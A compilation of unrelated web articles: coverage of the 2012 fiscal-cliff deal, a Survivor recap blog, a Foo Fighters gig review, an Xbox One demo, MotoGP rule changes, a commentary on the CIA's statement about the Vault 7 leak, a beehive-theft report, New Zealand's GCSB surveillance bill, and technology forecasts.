“I think we’ll get a very good vote tonight,” a beaming Biden said as he emerged from the meeting with Democrats after nearly two hours. “But happy new year and I’ll see you all maybe tomorrow.”
The measure is now at the House, where Speaker John A. Boehner (R-Ohio) pledged to bring it to a vote in the coming days. “Decisions about whether the House will seek to accept or promptly amend the measure will not be made until House members — and the American people — have been able to review the legislation,” Boehner and other GOP leaders said in a written statement.
Senior aides predicted the measure would pass the House with bipartisan support. But Boehner’s decision to delay the vote meant the nation would tumble over the cliff at least briefly.
In addition to dealing with the fiscal crisis, the measure would extend federal farm policies through September, averting an estimated doubling of milk prices. The deal also nixed a set pay raise for members of Congress.
During a midday event at the White House, Obama praised the emerging agreement even though it would raise only about $600 billion over the next decade by White House estimates — far less than the $1.6 trillion the president had initially sought to extract from the nation’s richest households.
The agreement “would further reduce the deficit by asking the wealthiest 2 percent of Americans to pay higher taxes for the first time in two decades.... So that’s progress,” Obama said.
“Keep in mind that just last month, Republicans in Congress said they would never agree to raise tax rates on the wealthiest Americans. Obviously, the agreement that’s currently being discussed would raise those rates and raise them permanently,” he said.
Some liberals were fuming about the accord, complaining that Obama had been promising to increase taxes on income over $250,000 a year — a much lower threshold — since he ran for the White House in 2008.
Sen. Tom Harkin (D-Iowa) said: “If you make $250,000 a year, you’re not middle class. You’re in the top 2 percent of income earners in America... No deal is better than a bad deal, and this looks like a very bad deal the way this is shaping up.”
Other Democrats were upset about the administration’s decision to maintain a big exemption for inherited estates that allows those worth as much as $5 million — $10 million for couples — to go untaxed.
Although the White House won an agreement to raise the tax rates on larger estates from 35 percent to 40 percent, Republicans successfully insisted that the exemption should be adjusted annually for inflation, a provision that would increase the exemption amount to $7.5 million for individuals and $15 million for couples by 2020, said Rep. Chris Van Hollen (Md.), the ranking Democrat on the House Budget Committee.
He called the final agreement a “sweetheart giveaway to the wealthiest 7,200 estates in the country.”
Republicans, too, were anxious about the accord, especially in the House, which two weeks ago rejected a proposal that would let taxes rise only on income over $1 million a year. GOP lawmakers — who have not voted for a broad tax increase since 1990 — were particularly incensed about the lack of new spending cuts.
Rep. Patrick T. McHenry (N.C.), a staunch conservative, said he was “gravely disappointed” and that House passage of the measure was not guaranteed.
Under the agreement, the top income tax rate would rise from 35 percent to 39.6 percent for married couples earning more than $450,000 a year and single people earning more than $400,000 a year. Those households also would pay higher rates on investment profits, with rates on dividends and capital gains rising from 15 percent to 20 percent.
Combined with a 3.8 percent surcharge on investment income adopted as part of Obama’s health-care initiative — a tax that also takes effect in January — the top rate on investment income would rise to 23.8 percent for high-income households.
Nor would taxpayers earning less than $450,000 entirely escape. The deal would restore limits on personal exemptions and itemized deductions that existed during the Clinton administration, with those benefits phasing out for couples earning more than $250,000 a year and single people earning more than $200,000.
That would keep Obama’s campaign pledge to raise taxes on the top 2 percent of earners, essentially households over $250,000. A Democrat familiar with the talks said the president hopes to gain additional revenue from those households by seeking to limit their tax breaks when the battle to reduce record deficits continues in the new year.
By extending lower tax rates for nearly all Americans, the deal would leave tax revenue about $3.7 trillion lower than if the rates had reset at higher levels.
In addition to permanently extending tax cuts enacted during the George W. Bush administration for 114 million households, the deal calls for a permanent fix for the alternative minimum tax, which would otherwise hit nearly 30 million taxpayers for the first time when they file their 2012 returns.
It would extend for five years tax credits for college tuition and the working poor, which were enacted as part of Obama’s 2009 economic stimulus package, benefiting 25 million low-income families.
Businesses would see a variety of popular tax breaks extended through 2013, including a credit for research that primarily benefits high-tech companies and an investment write-off that helps manufacturers.
The long-term unemployed could count on receiving emergency benefits for another year, at a cost of about $30 billion.
And doctors would be spared a 27 percent cut in Medicare reimbursements set to take effect in January — although the $30 billion cost of that extension would be covered by cutting other health-care programs.
The last last piece of the puzzle to fall into place was the sequester, which would be delayed until early March under an agreement to raise $12 billion in new tax revenue and $12 billion in fresh savings from the Pentagon and domestic programs.
Most of the deal had been locked down in a phone call between Biden and McConnell shortly before 1 a.m. Monday.
But at 6:30 a.m., McConnell’s phone rang again. The White House was unhappy with a tentative agreement for handling the sequester.
Those cuts were adopted in the summer of 2011 after an epic battle over the federal borrowing limit. At the time, Boehner insisted on identifying spending cuts equal in size to the increase in the debt limit, which was lifted by $2.1 trillion. About half the savings came in the form of limits on agency budgets over the next 10 years. The rest — about $1.2 trillion over the next decade, including interest savings — would begin on Wednesday, striking every federal account evenly, across the board.
With negotiators focused on how to prevent taxes from rising, the sequester had been largely forgotten. Enter Defense Secretary Leon E. Panetta and other senior Pentagon officials, who mounted an intense campaign over the past two days to spare the military, warning lawmakers that 800,000 civilian jobs were at risk.
Suddenly, the sequester was back on the table. The White House at first sought a two-year delay, which would have added more than $200 billion to budget deficits. Republicans demanded new spending cuts and offered $120 billion in options.
As the talks continued, Obama appeared at the White House, demanding in a campaign-style event that any plan to pay for the sequester must be “balanced.”
“That means the revenues have to be part of the equation in turning off the sequester and eliminating these automatic spending cuts,” he said.
The announcement angered Republicans; a top aide to McConnell tweeted that Obama had just “moved the goalpost.”
Soon after, McConnell appeared on the Senate floor to plead for the deal to move forward.
“Let’s take what’s been agreed to and get moving. The president wants this, members of Congress want to protect taxpayers and we can get it done now,” McConnell said. “We must do this.”
Rosalind S. Helderman and Ed O’Keefe contributed to this report.Why use our site?
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Looking for Lab Tested Secretary Services? Visit siteHere we are… just about at the very end of one of the most fun Survivor seasons in a while. I don’t know what I’m going to do or write about post Survivor. Maybe I can write about the fact that with the advent of Facebook and Instagram every woman who has a baby/toddler treats them like their real dress up dolls that they can show off like those sites are a worldwide, “Best in Show” contest for human toddlers, “And here comes the Northwest region of the 2 to 3year old brunette toddler breeds, look at those outfits”. I mean I’m all for cute pics of babies, but for the love of god, we got young mothers dressing up their babies in 12 different combinations of clothes and accessories with the sole purpose of posting the pic on Instagram or Facebook….we get it…you think your kid is the cutest kid in the world. I mean hats are not something a baby or toddler wants to be wearing right? So why are you putting a 1920’s paper boy hat on them? I don’t mean to be a downer but if I see one more pic of a girl toddler dressed up like Kim Kardashian I’m going to report it to DHS. All these kids are going to grow up approaching phone cameras like their Alec Baldwin facing the paparazzi and lash out.
This blog for our final survivor recap here will compare each remaining contestant’s plight with a historically memorable TV show’s finale, or a historically memorable TV finale in MY history I should say. Before we get to that, let’s talk a little about this last episode. This was once again a great episode. I love the night vision camera they use at the start of every episode post the previous episodes tribal council, because it makes every player look like a high functioning zombie from the Walking Dead. Can we change the format of Survivor where we the viewer’s get to vote on the wardrobe Jeff Probst gets to wear in the next season? I’m getting tired of the teal “Crocodile Dundee” outback shirt he’s been rocking this season. Would anybody be against him wearing bad Hawaiian shirts episode to episode? With all that said, let’s get into this monumental final blog, where I’m taking some of my favorite TV show’s finales and comparing them to the remaining Survivor players destiny in the game.
Hayden and Breaking Bad:
http://www.youtube.com/watch?v=twSfxmpXVZY
Spoiler alert! This is the best case scenario for Hayden as theWalter White Character, Ciera as Jessie Pinkman, Tyson as Uncle Jack, Gervase as the dude on the recliner who plays a neo-nazi on this show and played the exact same neo-nazi character onJustified, Monica as the “take your pick from any of the remaining dead bad dudes”, who all remind me of my cousin “G” whose a great, stand-up dude, but he’s the one in the family whose a little, “too pro” gun ownership, you know every family has the one cousin who quotes the second amendment a little too vigorously to the point that it’s a little unsettling. Put it this way, I could definitely see him as the secretary of defense on Uncle Jack’s crew. Anyways to get back on point, in this ending, Hayden would somehow defeat the dragon lady Laura and Tina at Redemption Island and then go back into the game wounded and almost dead to get his vengeance on Tyson and Gervase, but like in Breaking Bad, Tyson and Gervase would be ready for him. It would be cool to see Hayden, after winning Redemption Island, limp back to camp with a full beard (grown in a day).Hayden would see Ciera in chains figuratively speaking as Tyson/Gervases hostage until she is not needed. Then upon seeing this, Hayden will have to deploy is already, perfectly formulated plan, that I don’t know what that is yet because I don’t see any move Hayden could make if he got back into the game other than winning immunity. It would be pretty cool and ironic if he somehow made a coconut gun that fired coconuts like the bullets fired out of the car in Breaking bad and then it would be coconuts that ultimately killed Tyson and Gervase. Hayden had a great run in this game, highlighted by his move last week when he avoided being voted off and got everybody to draw rocks. Even though it looks like he’s not going to win Survivor, the fact that he won Big Brother and then made such a deep run in this game pretty much makes him the Bo Jackson of reality TV shows.
would have liked to see Kat’s reaction to seeing Hayden check out Katie at Tribal. Where do the pre-jury players go after their voted out? Do they get send straight home or do they get sent to a two star motel as opposed to luxurious ponderosa that the jury members get sent to? With the likely hood that Hayden goes to the Jury tomorrow, my guess is that his vote goes to Tyson.
Tina and Dexter:
First off, remember when Dexter was a good a show? We can argue that it was a good show seasons1-4(being generous) and then the moment the sister figured out that her brother killed more people then Ted Bundy the show officially jumped the shark for the last two –three seasons. Nobody was prepared for how historically bad the final season of Dexter was going to be and then the final episode happened and Jesus was that awful. I mean ifGeorge Clooney couldn’t survive the perfect storm with a full crew and a bigger boat, how and the hell is Dextersurviving that tittle wave in the SS Minnow? Then the show ends (Spoiler alert but trust me it sucks) with Dexter in Oregon (my current state no less) with an awful beard in a new identity which I guess is a logger….just awful. A season like that wrecks the previous seasons success, it literally (yes literally) kills the legacy of the show. This last season of Dexter was so horrible and anybody who liked it I will question your morals and values as a person as it was that bad(I should stop beating around the bush and tell you how I really feel about it, right?). Anyway, Dexterin the last episode pulls the plug on his sister’s life support, like Tina pulling the life support of her daughters Survivor game. Will the guilt of that movie have any effect on Tina heading into this final episode? I would think that Tina is on borrowed time now. The question I have been asking, is it more grueling to be on Redemption Island throughout the majority of time or just playing the regular Survivor game? You have Laura who looks strong, well-rested and focused every episode and then you have Tina who looks like she has been in an internment camp for six months. Tina really surprised me this last episode that she was willing to take out her daughter. Tina shows that although she may look worn down, she still clearly has a fire where it counts. I would guess she loses at Redemption Island, but her vote may be harder to predict in that Tyson and Gervase have really pissed her off. I would guess that her vote goes to Ciera(if she is there) and if not I think Tina will come around and vote for Tyson.
Laura and Days of our Lives:
http://www.youtube.com/watch?v=iCI3C37lZ9k
So….when I was seven years old, I may or may not have been a member of the Shane Donovan fan club. Let me back up, this is from the soap opera Days of Our lives, I’m guess this from season 48 or sometime between 1987 and 1988(I pray it’s not later than those years, because then it would really reflect how weird of a kid I was). My mom got me hooked on Days of our Lives because she watched it every day during the younger years of my childhood. Every day at 2pm I would watch and being a strange kid I got invested in the characters from the show. It’s weird because in the 1980’s soap opera’s had the pre-internet crazy fan bases, kind of like the fan bases that would come in future seasons with shows like Lost or Walking Dead. So I chose this show because for one, this is my goddamn blog and because of that I had to choose finale’s that affected me and this moment, when Shane Donovan, the ISA agent working from Salem (whatever hell state Days of our lives takes place in, my guess is East coast because it always snows there)gets thrown off the mountain by one of the biggest “that guy, from that one thing” people in TV history it really affected me. Shane was my favorite character, why…I don’t remember, knowing me it’s probably because he had dark hair like me and his name was F’ing Shane Donovan, I mean that’s a pretty gangster name…..right? He also went on crazy, implausible soap opera written missions. In a nut shell he was the James Bond of Soap operas. Ok I’m wasting all of our time here, so |
wanna shit the bed in front of the UK Foo Fighters. They’ll be like, ‘That’s not how it goes’.” They then played ‘Big Me’ from their self-titled debut album and asked the covers band, “How did we do?”
Bigger hits followed in the shape of ‘Generator’, ‘Rope’ and a passionate ‘The Pretender’, complete with Pat Smear guitar solo. “That’s the first time I’ve heard you do an improvised solo,” Grohl said to his guitarist, “that shit was jazz. You should do a solo every night, people like that more than the song.”
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“From this point out we’ll try to play every song a little bit different then we usually would, just to make it interesting for you,” Grohl said before leading the band into early hit ‘Learn To Fly’ which grew into a double speed thrash and included a quiet “breakdown”. Grohl explained his trick: “You speed it up as fast as you can, then you realise it’s hot as fuck in here and you break it down and say something funny until you don’t want to throw up any more. There, you have the Foo Fighters. OK, the nausea has passed.” The band then built back into the final chorus.
Grohl then asked Jay, the singer from the UK Foo Fighters onstage saying, “Ladies and gentlemen, please welcome… Me!” The cover singer took Grohl’s place for ‘White Limo’ from ‘Wasted Light’, moshing with Grohl during his solo. Grohl hugged him as the song finished and plugged the covers band’s upcoming show at the same venue. “I was on vacation for three and a half minutes,” Grohl quipped.
‘Arlandria’ was also adapted to include an AC/DC call and response section before drummer Taylor Hawkins told a story about being slapped in the face by Prince Harry the night before: “We were on our way to the stage and I went ‘look, there’s Prince Harry, he’s cool’, so I went up to him and said ‘hey man, I’m so tired. I really need someone to slap me in the face right n… Boom!”. Grohl then introduced Taylor’s vocal on ‘Cold Day In The Sun’ as “‘Sunday Bloody Sunday'”. The song ended with synth and drum solos.
An extended ‘Dear Rosemary’ gave way to a bluesy cover of Tom Petty And The Heartbreakers’ ‘Breakdown’. “You guys wanna sing a couple more?” Grohl asked before a euphorically received ‘Hero’, complete with rock’n’roll jam outro, before admitting: “We’re kinda working on the fly tonight.”
The main set wound up with ‘Hey, Johnny Park!’ and ‘Everlong’, Grohl declaring, “The only way you get used to playing like this is playing like this.”
The crowd chanting “Holy Shits! Holy Shits!” brought the band back on for an encore, Grohl saying, “Since we’ve been inside this fucking sweatbox there’s been about two thousand people outside listening to the rock show. I’d rather be out there than in here motherfuckers, it is hot as shit. This one I want to hear everyone sing as fucking loud as they can but I wanna hear the people outside shouting at the top of their fucking lungs.” The band then finished with ‘All My Life’ which prompted venue-wide moshing.
Foo Fighters played:
‘Enough Space’
‘I’ll Stick Around’
‘See You’
‘New Way Home’
‘Up In Arms’
‘Big Me’
‘Generator’
‘Rope’
‘The Pretender’
‘Learn To Fly’
‘White Limo’
‘Arlandria’
‘Cold Day In The Sun’
‘Dear Rosemary’
‘Breakdown’ (Tom Petty And The Heartbreakers cover)
‘My Hero’
‘Hey, Johnny Park!’
‘Everlong’
‘All My Life’Al Powers/Invision/AP The Xbox One is a powerful home entertainment hub.
Thursday afternoon, I was given a 45-minute demo of Microsoft's next-generation console ahead of its November 22 release.
I didn't get a lot of hands-on time to test games.
Instead, I was being shown the updated Xbox Dashboard and all the goodies that come along with it — from streaming live TV, to Skype, and multitasking capabilities.
Unfortunately, we weren't allowed to take our own photos, so the majority of the images you'll see here were shared from the Xbox One folks. We'll have plenty of our own when we're reviewing the console.
Before I get to all the features, I need to geek out for a moment about the first thing that caught my eye: the new Xbox One wireless controller.
It's a super sleek, simple modern update.
Amazon / Microsoft
One of the problems I've always had with the Xbox 360 controller (as a female gamer) is that the controller always felt a little too bulky in my small girly hands. The new wireless controller not only fits more naturally in my palms, but it also feels lighter.
Even better? Say goodbye to that cumbersome battery pack at the back of the controller. It's gone! You'll no longer have to worry about clashing your knuckles against the box in the back. Instead, batteries go inside the controller.
You know. This thing. Kirsten Acuna / Business Insider
Other noticeable changes are ridges placed around the two joysticks — perfect for a better grip and to prevent fingers from sliding around. The directional pad is also simpler and the trigger buttons are larger across the back.
Amazon / Microsoft
If I could say a game controller was sexy, that's one word I'd use to describe it.
Now, onto the dashboard!
Here's the Xbox One home page, the first screen you'll see when turning on the console.
Courtesy of Microsoft
Let's compare that with the 360 Dashboard:
Microsoft / Xbox 360 screenshot
The new dashboard is simpler and more cohesive to navigate, reflective of Microsoft's Windows 8. There are three screens to scroll between: pins, your home, and the store.
Currently, the Xbox 360 has eight tabs.
On your homepage the largest box shows you what you're doing at that instant. That can be anything from the game you're playing to a show you're watching. Here you can see we were playing Forza Motorsport 5 (more on that later).The items immediately underneath are your most recently opened apps.
Courtesy of Microsoft
To the left are "Pins" and to the right is the "Store." The latter seems pretty self-explanatory.
Courtesy of Microsoft Pins allow you easy access to any apps, television series, CD, game, movie, etc. that you want to be able to get to right away. Think of it as a desktop with whatever you want making it up. You can add up to 25 pins. You're not able to shuffle them around and organize however you please, but it's like having all your bookmarks in one spot.
Here's a quick look at the apps store:
Great. So what is there to do?
Glad you asked.
The Kinect Is All Powerful
Clearly the biggest tool here is the Kinect. It's almost as important — if not more important — than the controller. No kidding.
No longer is it an option to have the motion sensing input device as an add-on to the system. A new, revamped Kinect comes with every Xbox One and if you're not familiar with it yet, and you're planning to get the console, you will be.
From the moment we arrived until we left, we were "one" with the Kinect. You can literally use it for just about everything. It turns on and off the console, turns the volume up and down, and helps you swap quickly between apps and programs.
Here's what the Kinect looks like in action on the Dashboard. Like the Xbox 360, anything you can say is lit in green. Microsoft / Xbox One via YouTube The 360's Kinect could just as easily receive commands; however, in addition to old commands like "Xbox, go to [insert app]," we were told Microsoft will release an entire list of new commands to navigate across the console.
It's clear the voice recognition is faster and easier to use (check it out for yourself here). The new Kinect is supposed to be extra sensitive to normal speaking voices and motion. We were in a room with an unusually high ceiling so the acoustics were a bit funky and we had to raise our voice a bit to get the console's attention, but by no means were we shouting.
There were a few times during my demo where the Xbox didn't respond right away, but for the most part, we didn't have any issues. Overall, the Kinect executed requests promptly.
But what if you're not into talking to your Xbox all the time?
"Call of Duty: Ghosts" on the Xbox One will allow players to use the Kinect for voice commands. AP I asked why else a gamer would be invested in a Kinect — other than for voice commands and the obvious Kinect games ranging from dance to fitness-types.
I was told since it will be mandatory with an Xbox One console, developers will be more apt to test out ways to take advantage of the technology's motion and voice control in future releases.
This is already being seen. "Call of Duty: Ghosts" will allow gamers to use the Kinect to speak directly to squad members among its voice controls.
We were told with the 360 when every player didn't own a Kinect, it didn't seem as logical for developers to spend time making in-game features with the technology.
Watching TV on the Xbox One
What truly sets Microsoft's next-gen console apart as a home entertainment console is its ambitious effort to make the transition between gaming and watching television nonexistent.
Provided you have cable, a quick HDMI cable hookup between your TV and the Xbox One puts your television directly on the console. So if you're not into switching back and forth between input keys on your television remote, this is for you.
If you want to watch TV, again using the Kinect, you simply tell the Xbox to "watch TV" and it reverts to your cable while keeping you inside the Xbox. Any party invites or notifications will show up on the screen as they normally would during video game play.
Microsoft / Xbox One via YouTube Football lovers may want to ditch network TV for the NFL option on Xbox One as users can check in on latest news and scores, customize to follow highlights of their favorite teams and Fantasy Football.
Microsoft/NFL.com In addition, you don't have to worry about flipping through TV listings or channels. The Xbox One has its own built in television guide, so rather than searching for something to watch, or needing to know what channel something is on, you can ask the Xbox, "What's on the History Channel?" and list of shows pops up.
This is what the Xbox One television guide looks like. Courtesy of Microsoft Just as easily you can tell the console "Watch the History Channel" and you head right over to the channel. Yeah. This is the future.
But it gets better!
Who says you should have to choose between watching TV and playing a game?
You can do two things at once
This is one of the features we were most excited to see with the Xbox One and it did not disappoint.
The "snap" feature (Get it? Like snapping two items together) on the Xbox allows users to select two items to do simultaneously. For instance, you can play a video game while streaming music, play a game while watching TV or checking out game highlights. Forget playing a game. You can also surf the web while having TV on the side.
Courtesy of Microsoft We attempted to try this out, but Forza kept acting wonky, so I had to settle for a combination of Internet Explorer and television. Not as exciting, but I still got the picture. You can only control one item at a time (makes sense), but it's easy to shift between the two with a simple double tap of the X on the top of the Xbox controller.
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In addition to all of this, we were also showed the Skype feature which came in at a very clear 1080p HD. Here we saw another great function of the Kinect as it automatically adjusts the camera to focus on an individual in the call. As opposed to the 360 which could handle two people at once, the Xbox One's Kinect can focus on up to six people at a time. If someone enters or leaves the frame, the motion sensor compensates for that. That was pretty cool to see as we Skyped with one of the Xbox guy's pals.
Courtesy of Microsoft We only tried out the one-on-one call, but here's a look at group Skype. You can do that with up to four people.
Courtesy of Microsoft We know from game viewing site Twitch people love recording themselves play video games and others love watching people play. So, for anyone who's into recording their own in-game experience, the Xbox One has a built in game DVR. And of course, it's voice-controlled by the Kinect with a simple, "Xbox, record that." Just like that, you capture 30 seconds of your latest gameplay.
If you're into doing reviews, there's an option to capture five minutes of video at a time. Xbox let's you get creative with your videos with its Upload Studio, but we imagine most people would probably just record and share.
At launch, videos will be able to be shared across Xbox Live with friends. In the future, it's expected that videos can be shared on YouTube, Facebook, and other social media.
Near the end of my demo, I tried out Forza briefly, not only to check out the graphics, but to test out the wireless controller in action.
Though I wasn't playing the finished version of the game — just one for testing purposes — I could have been fooled. It looked and played like the real thing. The graphics looked as crisp and sharp as they did in previous footage shown at E3.
Again, not being able to take photos, here are screengrabs of ingame video play:
Microsoft / Xbox One via YouTube Microsoft / Xbox One via YouTube The car handled pretty well (I was driving a McLaren). Steering was a lot easier than making turns, but I was playing for less than five minutes and I was playing around with the different camera views. Most notable were the vibrations in the controller when starting to get off track. Press notes for the controller say the "Impulse Triggers deliver fingertip vibration feedback, so you can feel every jolt and crash in high definition." I didn't crash, but I did feel every bump in the road.
So what did I think of the Xbox One?
I loved it. 45 minutes was far from enough time to try out everything the console had to offer. Again, I was limited to the dashboard — not spending as much time exploring on my own or playing an actual game, but the console has a lot of potential.
I've said it before, and I'll say it again. The Xbox One is a giant entertainment hub. It's clear Microsoft realizes gamers do much more than just play games, so they want to make the console the one-stop-shop for everything.
One way Microsoft does that is by bringing the rest of the world into the game experience whether that's with sports, TV, music, movies, Skype, etc. That's what I saw a lot of during the demo. I really got the sense the Xbox One is about keeping people connected on their game console, the same way in which we're plugged into every day life by making everything available instantaneously.
In addition to gaming, it's clear the Xbox One is very invested in the Kinect and television integration.
Xbox announced it's first wave of entertainment apps coming to the console Friday morning including The NFL, ESPN, CWTV, FXNow, FOX Now, Verizon Fios TV, and HBO GO on its way.
One thing repeatedly told to me is that the Xbox One is an ambitious project. And it is. There's no denying that.
At its best, the Xbox One could very well change how a lot of people start watching TV.
If Microsoft can get a bunch of people to watch TV on a gaming console, it could very easily blur the lines between television and (what I like to call) Internet television (Hulu Plus, Netflix, etc). However the downside for some is that you need to have cable — in addition to an Xbox Live membership ($59.95 / year) — in order to experience much of the greatness the Xbox One will be offering. Microsoft seems aware of this as they're rolling out a bunch of entertainment apps. We'd like to see more exclusives announced.
You can check out the dashboard for yourself in a new comprehensive demo Xbox released:During their meetings in February 2016, the GPC approved a number of tweaks and revisions to existing regulations.
The Grand Prix Commission, composed of Messrs. Carmelo Ezpeleta (Dorna, Chairman), Ignacio Verneda (FIM CEO), Herve Poncharal (IRTA) and Takanao Tsubouchi (MSMA), with the participation of Javier Alonso (Dorna) and Mike Trimby (IRTA, Secretary), in various electronic meetings held in February 2016, made the following decisions:
Sporting Regulations (Effective Immediately)
Various minor modifications were approved:
The position that a machine must take up in the marked positions on the starting grid has been defined more precisely.
The procedure to be adopted when the sighting lap has been dry but there is rain whilst the riders are on the grid has been modified. The effect is to reduce delay in starting the race whilst still giving teams sufficient time to make changes to the machines.
Under previous regulations the penalty imposed during the actual race for overtaking under a yellow flag was fixed with the rider having to go back a number of places. In future it is possible for different penalties to be imposed but still including the possibility of the rider having to go back a number of places.
A new condition has been included in the regulations which reflects obligations on teams and riders already included in the Team Participation Agreements concerning public pronouncements. The effect of the regulation is that Teams and Riders must not make statements or issue press releases that are considered to be irresponsible and hence damaging to the Championship. Of course, the new regulation does not seek to prohibit responsible expressions of legitimate disagreement with the MotoGP Management, Organisers and/or MotoGP policies.
Disciplinary Regulations
Following recent decisions concerning the competence of Race Direction and Stewards to impose penalties, other modifications have been made to the Disciplinary Regulations.
The Panel of Stewards will be known as the FIM MotoGP Stewards Panel and they will be responsible for deciding on penalties that are not considered to be matters of fact. Anyone receiving a penalty from the FIM MotoGP Stewards Panel may appeal to the FIM MotoGP Court of Appeal which is required to hear and rule on any appeals within four days.
The system of Penalty Points will now only count towards the penalty of disqualification from an event which will happen when a rider accumulates 10 Penalty Points. The interim penalties previously triggered after accumulating four or seven points, no longer apply.
Penalty Points will continue to be recorded against the record of the rider for 365 days. However, when a rider has accumulated 10 or more points and suffered a disqualification 10 points are removed from his record.
A regularly updated version of the FIM Grand Prix Regulations which contains the detailed text of the regulation changes may be viewed shortly here.On Wednesday afternoon, one day after the release of over 8,000 pages of documents revealing the extensive hacking infrastructure established by the CIA to allow it to penetrate the privacy of virtually any US citizen, the CIA's Dean Boyd, Director at the office of public affairs, issued a statement in response to what Wikileaks has dubbed the biggest publication of confidential CIA material in history. In short, while the CIA does not deny that the documents are authentic, it defends itself by saying that its "mission is to aggressively collect foreign intelligence overseas to protect America from terrorists, hostile nation states and other adversaries. It is CIA's job to be innovative, cutting-edge, and the first line of defense in protecting this country from enemies abroad. America deserves nothing less."
It also adds that "that CIA is legally prohibited from conducting electronic surveillance targeting individuals here at home, including our fellow Americans, and CIA does not do so." Of course, the NSA said the same thing, most famously when James Clapper came to Congress, only for it to be revealed afterward that he lied. This time will probably not be any different.
It concludes by saying that "the American public should be deeply troubled by any Wikileaks disclosure designed to damage the Intelligence Community's ability to protect America against terrorists and other adversaries."
The irony in that statement hardly needs any commentary.
Full statement below:
We have no comment on the authenticity of purported intelligence documents released by Wikileaks or on the status of any investigation into the source of the documents. However, there are several critical points we would like to make: CIA's mission is to aggressively collect foreign intelligence overseas to protect America from terrorists, hostile nation states and other adversaries. It is CIA's job to be innovative, cutting-edge, and the first line of defense in protecting this country from enemies abroad. America deserves nothing less. It is also important to note that CIA is legally prohibited from conducting electronic surveillance targeting individuals here at home, including our fellow Americans, and CIA does not do so. CIA's activities are subject to rigorous oversight to ensure that they comply fully with U.S. law and the Constitution. The American public should be deeply troubled by any Wikileaks disclosure designed to damage the Intelligence Community's ability to protect America against terrorists and other adversaries. Such disclosures not only jeopardize US personnel and operations, but also equip our adversaries with tools and information to do us harm. Dean Boyd
Director, CIA Office of Public Affairs
As an aside, here is a comparison of the Samsung SmartTV privacy policy compared to the text of "1984"
Left: Samsung SmartTV privacy policy, warning users not to discuss personal info in front of their TV.
Right: 1984#Vault7 pic.twitter.com/1a7HKBtczP — wake up (@WakeUpMFers) March 8, 2017
And as a further aside, here - courtesy of Wikileaks - is a reminder what the CIA does with its hacking capacity: "Hacks Senators to remove reports on CIA torture", or as the CIA would call it, "protect America against terrorists and other adversaries."Maybe you weren’t aware, but bees are big business: With bee colonies mysteriously vanishing, hive owners can make a good income renting out their insects to farmers who need extra help with pollination. Those beekeepers will be happy to hear that authorities in California have busted a man suspected of stealing almost $1 million worth of bees and equipment.
Detectives with the Fresno County Sheriff’s agricultural task force have been investigating a string of beehive thefts since April.
“It’s like a chop shop for beehives.” —
Sergeant with Fresno County Sheriff’s Office
Police ultimately found an orchard where a man in a protective suit was tending to more than 100 hives that had been reported stolen. He was arrested charged with felony possession of stolen property.
Though the hives had been swiped from local farms, the bees actually belonged to a company in Missouri: Renting bees from out-of-state hives is essential to California almond growers, who need the bees in the spring to help pollinate their trees.
As the investigation continued, detectives found stolen bee hives from other states at two more locations.
Officials believe that the suspect is responsible for stealing hives in the last three years from different parts of California, redistributing them, and collecting the rental money. All told, he’s accused of stealing $885,000 worth of bees, hives, and other equipment.
“That’s the largest theft we’ve ever had,” a sergeant with the sheriff’s office told KFSN-TV.
Because beekeepers customize their hive boxes with identification numbers and different paint colors so they’re easily recognizable, the suspect allegedly repainted them, or used a grinder to remove identification numbers
“It’s like a chop shop for beehives,” one detective told the Associated Press. “They’re scattered all over the place.”
Authorities have contacted several owners of the hives and made arrangements to reunite them with their bees, including one victim who traveled from Montana to collect his boxes.
But although beekeepers may have their hives back, they’re still feeling the loss of rental income, equipment, and the queen bees needed for a healthy hive.
“We didn’t get everything back,” one beekeeper told the AP, estimating that her family’s business lost about $200,000 total. “The beehives are in horrible condition.”[JURIST] The New Zealand parliament [official website] on Wednesday approveda bill [text] expanding the power of the Government Communications Security Bureau (GCSB). Approved in a 61-59 vote, the legislation gives the GCSB increased power to support other state departments including the New Zealand police, Defense Force and the Security Intelligence Service. The hotly contested legislation was reportedly opposed by over 75 percent of the New Zealand’s population, who fear that the bill will result in increased surveillance of citizens in violation of their rights. New Zealand Prime Minister John Key defended the bill, insisting that it was necessary to protect the country against cyber-threats.
The GCSB amendment has been vehemently opposed by opposition parties, political leaders and concerned citizens since its introduction in May. On Monday more than 1,000 protesters crowded inside of the Auckland Town Hall to voice their concerns over the GCSB amendment. Amid questions regarding whether the bill would protect citizens from warrantless spying, Key abruptly ended the interview and left the press conference early. In June the New Zealand Law Society [official website] released a report [text, PDF] opposing the bill, arguing that it “empowers the GCSB to spy on New Zealand citizens and residents … in a way not previously contemplated and that is inconsistent with the rights to freedom of expression and freedom from unreasonable search and seizure.”Envisioning Technology is an award-winning trend forecasting studio that has released a report called Envisioning emerging technology for 2012 and beyond that gives a timeline for technologies in categories such as Artificial Intelligence, internet, interfaces, robotics, biotech, energy, and space.
Their goal is to predict where technology is heading in the future, and they have developed visualizations, keynotes and custom reports, like the one here, to display their research.
You can download the PDF or visit their website and view the full list of the many technologies and their detailed definitions.
I have chosen 5 from the pack as most influential in their respected categories.
1. Geo-Engineering: Desalination estimated by 2030
Image source: (AP Photo/Brad Doherty)
The necessity for fresh water in the coming century is apparent to most people and yet it is often overlooked as a problem for the future. If we don’t start developing this technology now, it won’t be prepared for when we need it. There are some projects in motion such as the start-up Atlantis Technologies which has created “a low-cost, chemical-free desalination system that can remove salt from oil, gas, mining, and industrial waste water,” according to its website. The company is calling the technology radial deionization, but it is small scale compared to what is necessary to ensure easy access for H2O to the global population.
Now that is just for more developed nations who don’t have to fight for their water. Imagine what kind of positive change this could bring to countries in serious need. I will end this talk of desalination with a quote from Cracked.com: “But even if fresh water is running out, we can take comfort in the fact that, as rational people, we at least won’t be going to war over it all Mad Max-style, right? How about we just leave you with these links about water supply-related conflicts between Pakistan and India, India and China or Israel and the rest of the Middle East, and let you answer that question yourselves. Sleep tight!”
Read more: 6 Important Things You Didn’t Know We’re Running Out Of | Cracked.com http://www.cracked.com/article_19048_6-important-things-you-didnt-know-were-running-out-of_p2.html#ixzz2AkDF0JVT
2. Robotics: Self-driving cars by 2018
Image source: http://www.wired.com/magazine/2012/01/ff_autonomouscars/5/
Yes you read correctly. Self-driving car by 2018 is seeming more and more plausible as a reality.
Whereas the first technology is targeted at a severe need and is aimed to eliminate and imminent long-term problem; driverless cars are more about efficiency and convenience.
Don’ get me wrong there’s certainly a safety aspect to it as Google said on its official blog in August, that the autonomous cars have completed over 300,000 miles in a variety of conditions and “there hasn’t been a single accident under computer control.” Source.
